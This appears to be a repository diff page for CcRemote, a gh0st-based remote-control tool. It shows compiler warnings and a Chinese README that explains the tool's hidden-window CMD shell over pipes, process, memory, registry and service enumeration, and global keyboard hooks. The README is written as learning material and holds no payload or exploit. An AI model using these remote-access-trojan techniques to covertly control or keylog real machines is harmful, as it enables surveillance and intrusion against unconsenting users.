f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(178): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(338): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CFileManagerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
CHelpWindow.cpp
|
||||
CKeyBoardDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CServerDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
RegDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(259): warning C4244: “初始化”: 从“DWORD”转换到“char”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(261): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(263): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
正在生成代码
|
||||
1 of 739 functions ( 0.1%) were compiled, the rest were copied from previous compilation.
|
||||
0 functions were new in current compilation
|
||||
1 functions had inline decision re-evaluated but remain unchanged
|
||||
All 823 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义
|
||||
nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义
|
||||
|
@@ -22,6 +22,8 @@
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
Before Width: | Height: | Size: 81 KiB After Width: | Height: | Size: 81 KiB |
BIN
CcRemote/CcRemote/res/help_window.bmp
Normal file
After Width: | Height: | Size: 870 KiB |
BIN
CcRemote/CcRemote/res/list_message_pic.bmp
Normal file
After Width: | Height: | Size: 899 KiB |
Before Width: | Height: | Size: 3.1 KiB |
After Width: | Height: | Size: 3.1 KiB |
@@ -1,3 +0,0 @@
|
||||
[Settings]
|
||||
ListenPort=80
|
||||
MaxConnection=100
|
489
README.md
Normal file
@@ -0,0 +1,489 @@
|
||||
# CcRemote
|
||||
这是一个基于gh0st远程控制的项目,使自己更深入了解远控的原理,来编写一款自己的远控(正在编写),项目采用VS2017
|
||||
|
||||
这是基于gh0st更改的项目,其中加入了大量注释以及思维导图提供帮助,代码的框架思想非常值得学习,越看越觉得项目得精妙设计。
|
||||
|
||||
#### 通讯框架
|
||||
|
||||
通讯被控端采用socket,主控端采用的是IOCP完成端口,它可以高效地将I/O事件通知给应用程序,能够处理较多连接,处理逻辑我做成了xmind,一张图来了解通讯框架
|
||||
|
||||

|
||||
|
||||
#### 主界面
|
||||
|
||||

|
||||
|
||||
## 各个功能实现的方法
|
||||
|
||||
|
||||
#### 1 shell控制
|
||||
shell管理用到匿名管道,创建CMD子进程实现进程间通信达到操作控制的目的:
|
||||
管道pipe 用于进程间通讯的一段共享内存。创建管道的进程称为服务器,连接到一个管道的进为管道客户机。一个进程在想管道写入数据有,另一个进程就可以从瓜岛的另一端将其读取出来。匿名管道Anonymous Pipes 是在父进程和子进程单向传输数据的一种未命名的管道,只能在本地计算机中是同,不能用于网络间的通讯。
|
||||
|
||||
如何使用的匿名管道进行通信
|
||||
匿名管道主要用于父进程与子进程之间的的通信,首先父进程创建匿名管道,创建成功后可以获取这个匿名管道进行读写句柄,然后再创建一个子进程,子进程必须继承和使用父进程的一些公开句柄,创建子进程的时候必须将标准输入、标准输出句柄设置为父进程创建管道的管道句柄,然后就可以进行通讯了。
|
||||
|
||||
###### 创建匿名管道
|
||||
|
||||
```c
|
||||
BOOL WINAPI CreatePipe(
|
||||
__out PHANDLE hReadPipe, // __out 读取句柄
|
||||
__out PHANDLE hWritePipe, // __out 写入句柄
|
||||
__in LPSECURITY_ATTRIBUTES lpPipeAttributes, // __in SECURITY_ATTRIBUTES结构体指针 加测返回的句柄是否能够被子进程继承,为NULL不能继承 匿名管道必须有这个结构体
|
||||
__in DWORD nSize ); // 缓冲区大小,参数为0时使用默认大小
|
||||
|
||||
typedef struct _SECURITY_ATTRIBUTES {
|
||||
DWORD nLength;
|
||||
LPVOID lpSecurityDescriptor;
|
||||
BOOL bInheritHandle;
|
||||
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
|
||||
|
||||
```
|
||||
lpPipeAttributes指向一个SECURITY_ATTRIBUTES 的结构体指针,其检测返回的句柄是否能够被子进程继承,如果参数为NULL,表明不能被继承
|
||||
子进程与父进程之间的通信必须构建一个这样的结构体,并且该结构体的的第三个成员变量参数必须设置为True
|
||||
这样子进程才可以进程父进程所创建的匿名管道句柄。
|
||||
|
||||
###### 创建子进程
|
||||
|
||||
```c
|
||||
BOOL CreateProcess(
|
||||
LPCWSTR pszImageName, // 指向程序名称以NULL结尾的字符串
|
||||
LPCWSTR pszCmdLine, // 命令行
|
||||
LPSECURITY_ATTRIBUTES psaProcess, // 创建进程对象设置安全性
|
||||
LPSECURITY_ATTRIBUTES psaThread, // 该进程主线程设置安全性
|
||||
BOOL fInheritHandles, // *指定父进程创建的子进程是否能够继承父进程对象句柄
|
||||
DWORD fdwCreate, // 指定控件优先级类和进程创建的附加标记
|
||||
LPVOID pvEnvironment, // 只想环境块的指针
|
||||
LPWSTR pszCurDir, // 用来指定子进程当前的路径
|
||||
LPSTARTUPINFOW psiStartInfo, // *指向 StartUpInfo 的结构体的指针,用来指定新进程的主窗口如何显示
|
||||
LPPROCESS_INFORMATION pProcInfo ); // ROCESS_INFORMATION 结构体的指针,用来接收关于新进程的标识信息
|
||||
|
||||
typedef struct _STARTUPINFOA {
|
||||
DWORD cb;
|
||||
LPSTR lpReserved;
|
||||
LPSTR lpDesktop;
|
||||
LPSTR lpTitle;
|
||||
DWORD dwX;
|
||||
DWORD dwY;
|
||||
DWORD dwXSize;
|
||||
DWORD dwYSize;
|
||||
DWORD dwXCountChars;
|
||||
DWORD dwYCountChars;
|
||||
DWORD dwFillAttribute;
|
||||
DWORD dwFlags;
|
||||
WORD wShowWindow;
|
||||
WORD cbReserved2;
|
||||
LPBYTE lpReserved2;
|
||||
HANDLE hStdInput; // *
|
||||
HANDLE hStdOutput; // *
|
||||
HANDLE hStdError; // *
|
||||
} STARTUPINFOA, *LPSTARTUPINFOA;
|
||||
|
||||
typedef struct _PROCESS_INFORMATION {
|
||||
HANDLE hProcess;
|
||||
HANDLE hThread;
|
||||
DWORD dwProcessId;
|
||||
DWORD dwThreadId;
|
||||
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
|
||||
```
|
||||
创建进程时fInheritHandles字段我们需要设置为true,继承父进程句柄
|
||||
LPSTARTUPINFOW psiStartInfo 结构体中进行如下设置
|
||||
si.wShowWindow = SW_HIDE; //隐藏CMD进程窗口
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; //使用标准输出和标准错误输出句柄 | 控制CMD窗口隐藏
|
||||
si.hStdInput = m_hReadPipeShell; // 将管道赋值 设置标准输入句柄
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell; // 将管道赋值 设置标准输出、标准错误句柄
|
||||
|
||||
然后通过PeekNamedPipe查询是否有新的数据,以及ReadFile进行读取管道中的内容进行读操作,WriteFile进行写入管道内容进行操作。
|
||||
一般是使用while循环配套ReadFile函数。如果控制台程序暂时没有输出并且没有退出,ReadFile函数将一直等待,导致死循环。所以在使用ReadFile之前,加入PeekNamedPipe函数调用。
|
||||
|
||||
|
||||
|
||||
#### 2 进程监控
|
||||
|
||||
###### 进行进程枚举有很多方法
|
||||
|
||||
A:CreateToolhelp32Snapshot()、Process32First()和Process32Next()
|
||||
B:EnumProcesses()、EnumProcessModules()、GetModuleBaseName()
|
||||
C:Native Api的ZwQuerySystemInformation
|
||||
D:wtsapi32.dll的WTSOpenServer()、WTSEnumerateProcess()
|
||||
|
||||
gh0st使用的最常见的方法A,通过建立进程快照进行遍历进程获取信息
|
||||
```c
|
||||
HANDLE
|
||||
WINAPI
|
||||
CreateToolhelp32Snapshot(
|
||||
DWORD dwFlags, // 用来指定快照中需要返回的对象
|
||||
DWORD th32ProcessID // 一个进程ID号,为0可获取所有或当前快照
|
||||
);
|
||||
```
|
||||
通过函数CreateToolhelp32Snapshot获取的快照句柄使用Process32First、Process32Next遍历所有进程的PROCESSENTRY32信息
|
||||
再通过GetProcessFullPath获取进程路径等信息。
|
||||
|
||||
###### 下面的方法可以获取进程内存列表、模块等信息,不过没有加入到项目中:
|
||||
|
||||
###### 获取进程模块信息使用到的API:
|
||||
|
||||
```c
|
||||
HANDLE WINAPI OpenProcess(
|
||||
__in DWORD dwDesiredAccess, // 打开的标识
|
||||
__in BOOL bInheritHandle, // 是否继承句柄
|
||||
__in DWORD dwProcessId // 被打开的进程句柄
|
||||
);
|
||||
//枚举进程里的模块
|
||||
BOOL WINAPI EnumProcessModules(
|
||||
__in HANDLE hProcess, // 进程句柄
|
||||
__out HMODULE* lphModule, // 返回进程里的模块
|
||||
__in DWORD cb, // 模块的个数
|
||||
__out LPDWORD lpcbNeeded // 存储的模块的空间大小
|
||||
);
|
||||
//得到模块的名字
|
||||
DWORD WINAPI GetModuleFileNameEx(
|
||||
__in HANDLE hProcess, // 进程的句柄
|
||||
__in HMODULE hModule, // 模块的句柄
|
||||
__out LPTSTR lpFilename, // 返回模块的名字
|
||||
__in DWORD nSize // 缓冲区大小
|
||||
);
|
||||
```
|
||||
|
||||
###### 获取进程所有内存信息:
|
||||
|
||||
```c
|
||||
//枚举指定进程所有内存块
|
||||
//assert(hProcess != nullptr);
|
||||
//参数:
|
||||
// hProcess: 要枚举的进程,需拥有PROCESS_QUERY_INFORMATION权限
|
||||
// memories: 返回枚举到的内存块数组
|
||||
//返回:
|
||||
// 成功返回true,失败返回false.
|
||||
static bool EnumAllMemoryBlocks(HANDLE hProcess, OUT vector<MEMORY_BASIC_INFORMATION>& memories) {
|
||||
// 如果 hProcess 为空则结束运行
|
||||
assert(hProcess != nullptr);
|
||||
|
||||
// 初始化 vector 容量
|
||||
memories.clear();
|
||||
memories.reserve(200);
|
||||
|
||||
// 获取 PageSize 和地址粒度
|
||||
SYSTEM_INFO sysInfo = { 0 };
|
||||
GetSystemInfo(&sysInfo);
|
||||
/*
|
||||
typedef struct _SYSTEM_INFO {
|
||||
union {
|
||||
DWORD dwOemId; // 兼容性保留
|
||||
struct {
|
||||
WORD wProcessorArchitecture; // 操作系统处理器体系结构
|
||||
WORD wReserved; // 保留
|
||||
} DUMMYSTRUCTNAME;
|
||||
} DUMMYUNIONNAME;
|
||||
DWORD dwPageSize; // 页面大小和页面保护和承诺的粒度
|
||||
LPVOID lpMinimumApplicationAddress; // 指向应用程序和dll可访问的最低内存地址的指针
|
||||
LPVOID lpMaximumApplicationAddress; // 指向应用程序和dll可访问的最高内存地址的指针
|
||||
DWORD_PTR dwActiveProcessorMask; // 处理器掩码
|
||||
DWORD dwNumberOfProcessors; // 当前组中逻辑处理器的数量
|
||||
DWORD dwProcessorType; // 处理器类型,兼容性保留
|
||||
DWORD dwAllocationGranularity; // 虚拟内存的起始地址的粒度
|
||||
WORD wProcessorLevel; // 处理器级别
|
||||
WORD wProcessorRevision; // 处理器修订
|
||||
} SYSTEM_INFO, *LPSYSTEM_INFO;
|
||||
*/
|
||||
|
||||
//遍历内存
|
||||
const char* p = (const char*)sysInfo.lpMinimumApplicationAddress;
|
||||
MEMORY_BASIC_INFORMATION memInfo = { 0 };
|
||||
while (p < sysInfo.lpMaximumApplicationAddress) {
|
||||
// 获取进程虚拟内存块缓冲区字节数
|
||||
size_t size = VirtualQueryEx(
|
||||
hProcess, // 进程句柄
|
||||
p, // 要查询内存块的基地址指针
|
||||
&memInfo, // 接收内存块信息的 MEMORY_BASIC_INFORMATION 对象
|
||||
sizeof(MEMORY_BASIC_INFORMATION32) // 缓冲区大小
|
||||
);
|
||||
if (size != sizeof(MEMORY_BASIC_INFORMATION32)) { break; }
|
||||
|
||||
// 内存块属性memInfo保存一些内存块信息可以从这里判断获取
|
||||
if (memInfo.Protect == PAGE_EXECUTE_READWRITE)
|
||||
if (memInfo.State == MEM_COMMIT)
|
||||
if (memInfo.Type == MEM_PRIVATE)
|
||||
memories.push_back(memInfo); // 将内存块信息追加到 vector 数组尾部
|
||||
|
||||
// 移动指针
|
||||
p += memInfo.RegionSize;
|
||||
}
|
||||
|
||||
return memories.size() > 0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 3 注册表监控
|
||||
通过RegOpenKeyEx打卡一个注册表项得要打开项的句柄PHKEY phkResult 利用这个句柄来获取子项和信息
|
||||
```c
|
||||
LONG WINAPI RegOpenKeyEx(
|
||||
_In_ HKEY hKey, // 需要打开的主键的名称
|
||||
_In_opt_ LPCSTR lpSubKey, // 需要打开的子键的名称
|
||||
_In_opt_ DWORD ulOptions, // 保留 设为零
|
||||
_In_ REGSAM samDesired, // 安全访问标记 也就是权限
|
||||
_Out_ PHKEY phkResult // 得到的将要打开键的句柄
|
||||
);
|
||||
```
|
||||
|
||||
得到PHKEY句柄后使用API RegQueryInfoKey获取该项信息
|
||||
```c
|
||||
LONG WINAPI RegQueryInfoKey( // 获取某项有关的信息
|
||||
_in HKEY hKey, // 已打开项的句柄 或指定一个标准项名
|
||||
_out LPTSTR lpClass, // 指定一个字串 用于装载这个注册表项的类名
|
||||
_in_out LPDWORD lpcClass, // 指定一个变量 用于装载lpClass缓冲区的长度。一旦返回 它会设为实际装载到缓冲区的字节数量
|
||||
LPDWORD lpReserved, // 未用 设为零
|
||||
_out LPDWORD lpcSubKeys, // 用于装载(保存)这个项的子项数量的一个变量
|
||||
_out LPDWORD lpcMaxSubKeyLen, // 指定一个变量 用于装载这个项最长一个子项的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxClassLen, // 指定一个变量 用于装载这个项之子项的最长一个类名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcValues, // 用于装载这个项的设置值数量的一个变量
|
||||
_out LPDWORD lpcMaxValueNameLen, // 指定一个变量 用于装载这个项之子项的最长一个值名的长度。注意这个长度不包括空中止字符
|
||||
_out LPDWORD lpcMaxValueLen, // 指定一个变量 用于装载容下这个项最长一个值数据所需的缓冲区长度
|
||||
_out LPDWORD lpcbSecurityDescriptor, // 装载值安全描述符长度的一个变量
|
||||
_out PFILETIME lpftLastWriteTime // 指定一个结构 用于容纳该项的上一次修改时间
|
||||
);
|
||||
```
|
||||
|
||||
通过RegQueryInfoKey获取到lpcSubKeys子项数量同于RegEnumKeyEx的DWORD dwIndex,参数进行循环遍历得到索引项名LPTSTR lpName
|
||||
```c
|
||||
LONG WINAPI RegEnumKeyEx( // 枚举指定项下方的子项
|
||||
_in HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_in DWORD dwIndex, // 欲获取的子项的索引。第一个子项的索引编号为零
|
||||
_out LPTSTR lpName, // 用于装载指定索引处项名的一个缓冲区
|
||||
_in_out LPDWORD lpcName, // 指定一个变量,用于装载lpName缓冲区的实际长度,含空字符。一旦返回,它会设为实际装载到lpName缓冲区的字符数量
|
||||
LPDWORD lpReserved, // 未用,设为零
|
||||
_in_out LPTSTR lpClass, // 项使用的类名
|
||||
_in_out LPDWORD lpcClass, // 用于装载lpClass缓冲区长度的一个变量。
|
||||
_out PFILETIME lpftLastWriteTime // 枚举子项上一次修改的时间
|
||||
);
|
||||
```
|
||||
|
||||
使用API RegEnumValue 获取键值内容 以及获取lpType判断类型、lpData获取内容
|
||||
```c
|
||||
LONG WINAPI RegEnumValue( // 读取键值
|
||||
_In_ HKEY hKey, // 一个已打开项的句柄,或者指定一个标准项名
|
||||
_In_ DWORD dwIndex, // 欲获取值的索引。注意第一个值的索引编号为零
|
||||
_Out_writes_to_opt_(*lpcchValueName,*lpcchValueName + 1) LPSTR lpValueName, // 用于装载位于指定索引处值名的一个缓冲区
|
||||
_Inout_ LPDWORD lpcchValueName, // 用于装载lpValueName缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
_Reserved_ LPDWORD lpReserved, // 未用 设为零
|
||||
_Out_opt_ LPDWORD lpType, // 用于装载值的类型代码的变量
|
||||
_Out_writes_bytes_to_opt_(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData, // 用于装载值数据的一个缓冲区
|
||||
_Inout_opt_ LPDWORD lpcbData // 用于装载lpData缓冲区长度的一个变量。一旦返回,它会设为实际载入缓冲区的字符数量
|
||||
);
|
||||
```
|
||||
|
||||
#### 4 服务监控
|
||||
|
||||
建立一个连接到服务控制管理器,并打开指定的数据库
|
||||
```c
|
||||
SC_HANDLE WINAPI OpenSCManager(
|
||||
__in LPCTSTR lpMachineName, // 指向零终止字符串 名为目标计算机
|
||||
__in LPCTSTR lpDatabaseName, // 指向零终止字符串 名称的服务控制管理数据库
|
||||
__in DWORD dwDesiredAccess // 指定服务的访问控制管理
|
||||
);
|
||||
```
|
||||
|
||||
由OpenSCManager返回的句柄做参数使用API EnumServicesStatus枚举系统当前服务信息
|
||||
```c
|
||||
BOOL WINAPI EnumServicesStatus( // 枚举当前系统服务
|
||||
_in SC_HANDLE hSCManager, // 打开的服务管理的句柄
|
||||
_in DWORD dwServiceType, // 所要枚举服务的类型
|
||||
_in DWORD dwServiceState, // 所要枚举服务的状态
|
||||
_out LPENUM_SERVICE_STATUS lpServices, // 指向转载枚举服务的缓冲区
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded, // 如果提供的缓冲区太小 那么这里将返回需要的缓冲区大小
|
||||
_out LPDWORD lpServicesReturned, // 服务的个数 枚举每个服务信息时用到
|
||||
_in_out LPDWORD lpResumeHandle // 返回枚举是否成功
|
||||
);
|
||||
```
|
||||
|
||||
通过api EnumServicesStatus得到的lpServicesReturned数量、lpServices缓冲区遍历服务,OpenService获取服务句柄
|
||||
```c
|
||||
SC_HANDLE OpenService( // 获取服务句柄
|
||||
SC_HANDLE hSCManager, // 服务控制管理器数据库的句柄
|
||||
LPCSTR lpServiceName, // 要打开的服务的名称
|
||||
DWORD dwDesiredAccess // 访问服务权限
|
||||
);
|
||||
```
|
||||
|
||||
根据获取到的服务句柄调用API QueryServiceConfig获取服务信息
|
||||
```c
|
||||
BOOL WINAPI QueryServiceConfig(
|
||||
_in SC_HANDLE hService, // 指向要检索的服务
|
||||
_out LPQUERY_SERVICE_CONFIG lpServiceConfig, // 指向包含服务信息的缓冲区指针
|
||||
_in DWORD cbBufSize, // 缓冲区大小
|
||||
_out LPDWORD pcbBytesNeeded // 实际需要的缓冲区大小
|
||||
);
|
||||
```
|
||||
#### 5 键盘监控
|
||||
###### 键盘钩子
|
||||
|
||||
windows系统是建立在事件驱动的机制上,整个系统都是通过消息传递来实现的,而钩子是windows系统中非常重要的系统接口,用它可以截获并处理发送给其他进程的消息来实现诸多功能,钩子种类很多,每种钩子可以截取相应的消息,例如键盘钩子截取键盘消息等等。
|
||||
|
||||
全局钩子运行机制,通过系统调用,将狗子挂入系统,每当特定消息发出,在消息没有到达目标窗口之前,钩子就会先行捕获到消息。这时钩子回调函数可以对消息进行操作,然后继续传递该消息,也可结束该消息的传递。每种类型的钩子都会由系统来维护一个钩子链,并且最后安装的钩子在链子的开始,最先安装的在最后。实现win32的系统钩子,必须调用API函数SetWindowsHookEx来安装这个函数
|
||||
|
||||
###### 安装钩子
|
||||
```c
|
||||
HHOOK WINAPI SetWindowsHookEx(
|
||||
__in int idHook, \\ 钩子类型
|
||||
__in HOOKPROC lpfn, \\ 回调函数地址
|
||||
__in HINSTANCE hMod, \\ 实例句柄 (包含钩子函数的模块句柄)
|
||||
__in DWORD dwThreadId); \\ 线程ID (指定监视的线程,如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。)
|
||||
```
|
||||
几点需要说明的地方:
|
||||
|
||||
(1) 如果对于同一事件(如键盘消息)既安装了线程钩子又安装了系统钩子,系统会优先调用线程钩子,然后调用系统钩子。
|
||||
|
||||
(2) 对同一事件消息可安装多个钩子处理过程,这些钩子处理过程形成了钩子链。处理顺序是先安装的后处理,后安装的先处理。
|
||||
|
||||
(3) 钩子特别是系统钩子会消耗消息处理时间,降低系统性能。只有在必要的时候才安装钩子,在使用完毕后要及时卸载。
|
||||
|
||||
###### 定义钩子回调
|
||||
|
||||
LRESULT CALLBACK HookProc(int nCode ,WPARAM wParam,LPARAM lParam)
|
||||
|
||||
我们先在钩子函数中实现自定义的功能,然后调用函数 CallNextHookEx 把钩子信息传递给钩子链的下一个钩子函数。
|
||||
|
||||
LRESULT CallNextHookEx( HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam )
|
||||
|
||||
参数 hhk是钩子句柄。nCode、wParam和lParam 是钩子函数。
|
||||
当然也可以通过直接返回TRUE来丢弃该消息,就阻止了该消息的传递。
|
||||
|
||||
当不再使用钩子时,必须及时卸载。简单地调用下面的函数即可。
|
||||
|
||||
BOOL UnhookWindowsHookEx( HHOOK hhk)
|
||||
|
||||
值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。
|
||||
